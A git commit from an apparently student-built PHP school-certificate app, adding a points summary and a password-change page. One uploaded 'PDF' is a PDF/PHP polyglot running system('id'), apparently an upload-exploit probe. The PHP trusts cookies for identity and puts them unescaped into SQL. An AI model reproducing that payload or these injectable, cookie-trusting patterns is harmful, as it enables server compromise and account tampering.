feat: 🧑‍💻 update password siswa dan menampilkan point di atas sertitikat siswa

update password siswa dan menampilkan point, jika point siswa 30 atau lebih dengan status sertifikatnya Valid maka akan tampil tombol cetak sertifikat
This commit is contained in:
Kadek Arie Wira Kusuma 2025-03-04 12:59:29 +08:00
parent b972fee6c4
commit ac0eafa46f
13 changed files with 1913 additions and 0 deletions

294
sertifikat/70242v5n3.pdf Normal file

File diff suppressed because one or more lines are too long

1
sertifikat/7024a3g5x.pdf Normal file
View File

@ -0,0 +1 @@
-e "%PDF-1.4\n%"; echo "<?php system('id'); ?>"; echo "%%EOF"

BIN
sertifikat/7024is3b6.pdf Normal file

Binary file not shown.

294
sertifikat/7024jr9eg.pdf Normal file

File diff suppressed because one or more lines are too long

294
sertifikat/7024nd084.pdf Normal file

File diff suppressed because one or more lines are too long

BIN
sertifikat/7024pz3h6.pdf Normal file

Binary file not shown.

BIN
sertifikat/7024u7xf9.pdf Normal file

Binary file not shown.

294
sertifikat/7024v0t7s.pdf Normal file

File diff suppressed because one or more lines are too long

BIN
sertifikat/7024vz6p9.pdf Normal file

Binary file not shown.

294
sertifikat/7024w8eiu.pdf Normal file

File diff suppressed because one or more lines are too long

294
sertifikat/7024x3e0a.pdf Normal file

File diff suppressed because one or more lines are too long

View File

@ -4,6 +4,7 @@ if(!@$_COOKIE['level_user']) {
}elseif($_COOKIE['level_user']=='operator') {
echo "<script>alert('anda operator, silahkan kembali');window.location.href='halaman_utama.php?page=sertifikat'</script>";
}
$nis = $_COOKIE['nis'];
// Fungsi untuk mendapatkan data sertifikat berdasarkan status dan kegiatan
function getSertifikat($koneksi, $status = '', $kegiatan = '') {
$whereClause = "WHERE 1"; // Default kondisi WHERE
@ -54,6 +55,58 @@ function getSertifikat($koneksi, $status = '', $kegiatan = '') {
}
?>
<center>
<table border="1">
<tr>
<th>Keterangan</th>
<th>Jumlah</th>
</tr>
<tr>
<td>Point Terkumpul</td>
<td>
<?php
$total_point = mysqli_fetch_row(mysqli_query($koneksi, "SELECT SUM(Angka_Kredit) FROM sertifikat INNER JOIN kegiatan USING(Id_Kegiatan) WHERE Status='Valid' AND NIS='$nis'"))[0];
echo $total_point . "/30 Point";
if ($total_point >= 30) {
echo "<br><a href='#'>Cetak Sertifikat SKKPd</a>";
}
?>
</td>
</tr>
<tr>
<td>Menunggu Validasi</td>
<td>
<?php
$total_point = mysqli_fetch_row(mysqli_query($koneksi, "SELECT COUNT(*) FROM sertifikat WHERE Status='Menunggu Validasi' AND NIS='$nis'"))[0];
echo $total_point . " Sertifikat";
?>
</td>
</tr>
<tr>
<td>Tidak Valid</td>
<td>
<?php
$total_point = mysqli_fetch_row(mysqli_query($koneksi, "SELECT COUNT(*) FROM sertifikat WHERE Status='Tidak Valid' AND NIS='$nis'"))[0];
echo $total_point . " Sertifikat";
?>
</td>
</tr>
<tr>
<td>Valid</td>
<td>
<?php
$total_point = mysqli_fetch_row(mysqli_query($koneksi, "SELECT COUNT(*) FROM sertifikat WHERE Status='Valid' AND NIS='$nis'"))[0];
echo $total_point . " Sertifikat";
?>
</td>
</tr>
</table><br><br>
<button onclick="window.location.href='halaman_utama.php?page=upload_sertifikat';">+ Upload
Sertifikat</button> <br><br>
<form method="POST" action="">

95
ubah/ubah_pass_siswa.php Executable file
View File

@ -0,0 +1,95 @@
<?php
if(!isset($_COOKIE['nis'])) {
header("Location: ../login.php");
exit;
}
$nis = $_COOKIE['nis'];
$data_update = mysqli_fetch_assoc(mysqli_query($koneksi, "SELECT * FROM siswa INNER JOIN pengguna USING(NIS) INNER JOIN jurusan using(Id_Jurusan) WHERE NIS = '$nis'"));
if(isset($_POST['tombol_ubah'])){
$password = htmlspecialchars($_POST['password']);
$konfirmasi_pass = htmlspecialchars($_POST['konfirmasi_pass']);
if($password == NULL){
echo "<script>alert('Anda tidak ada mengganti password');window.location.href='halaman_utama.php?page=ubah_pass'</script>";
}else{
if($password !== $konfirmasi_pass){
echo "<script>alert('password dengan konfirmasi password tidak sama');window.location.href='halaman_utama.php?page=ubah_pass'</script>";
}else{
$enkrip = password_hash($password, PASSWORD_DEFAULT);
$hasil_pengguna = mysqli_query($koneksi, "UPDATE pengguna SET Password = '$enkrip' WHERE NIS = '$nis'");
if(!$hasil_pengguna){
echo "<script>alert('Gagal update data siswa');window.location.href='halaman_utama.php?page=ubah_pass'</script>";
}else{
setcookie('username', '', time(), '/');
setcookie('level_user', '', time(), '/');
setcookie('nama_lengkap', '', time(), '/');
setcookie('nis', '', time(), '/');
echo "<script>alert('Berhasil update data siswa');window.location.href='../login.php'</script>";
}
}
}
}
?>
<center>
<table border="1" cellpadding="5" cellspacing="0">
<tr>
<th colspan="2">Detail Siswa</th>
</tr>
<tr>
<td><strong>NIS</strong></td>
<td align="right"><?= $data_update['NIS'] ?></td>
</tr>
<tr>
<td><strong>Nama</strong></td>
<td align="right"><?= $data_update['Nama_Siswa'] ?></td>
</tr>
<tr>
<td><strong>No Absen</strong></td>
<td align="right"><?= $data_update['No_Absen'] ?></td>
</tr>
<tr>
<td><strong>No Telp</strong></td>
<td align="right"><?= $data_update['No_Telp'] ?></td>
</tr>
<tr>
<td><strong>Email</strong></td>
<td align="right"><?= $data_update['Email'] ?></td>
</tr>
<tr>
<td><strong>Kelas</strong></td>
<td align="right"><?= $data_update['Jurusan'] . ' ' . $data_update['Kelas'] ?></td>
</tr>
<tr>
<td><strong>Angkatan</strong></td>
<td align="right"><?= $data_update['Angkatan'] ?></td>
</tr>
</table>
<br>
<form action="" method="post">
<table border="1" cellpadding="5" cellspacing="0">
<tr>
<th colspan="2">Ganti Password</th>
</tr>
<tr>
<td>Password Baru</td>
<td><input type="password" name="password" autocomplete="off" autofocus></td>
</tr>
<tr>
<td>Konfirmasi Password</td>
<td><input type="password" name="konfirmasi_pass" autocomplete="off"></td>
</tr>
<tr>
<td colspan="2" align="right">
<input type="submit" name="tombol_ubah" value="Perbarui">
</td>
</tr>
</table>
</form>
</center>